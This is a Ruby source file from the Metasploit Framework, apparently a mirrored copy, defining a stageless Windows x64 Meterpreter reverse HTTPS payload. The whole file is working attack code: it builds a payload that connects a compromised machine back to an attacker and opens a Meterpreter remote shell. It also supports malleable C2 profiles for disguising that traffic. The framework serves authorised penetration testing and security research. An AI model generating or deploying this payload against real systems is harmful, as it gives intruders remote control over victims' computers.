Files
metasploit-gs/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
T
2026-03-21 15:22:17 +10:00

70 lines
2.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 204892
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline (x64)',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_x64_Win
)
)
register_options([
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
])
register_advanced_options(
Msf::Opt.http_header_options +
Msf::Opt.http_proxy_options
)
end
def generate(opts = {})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts = {})
opts[:uuid] ||= generate_payload_uuid
opts[:c2_profile] = datastore['MALLEABLEC2']
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_https(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(','),
ext_init: datastore['EXTINIT'] || '',
stageless: true
}.merge(meterpreter_logging_config(opts))
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end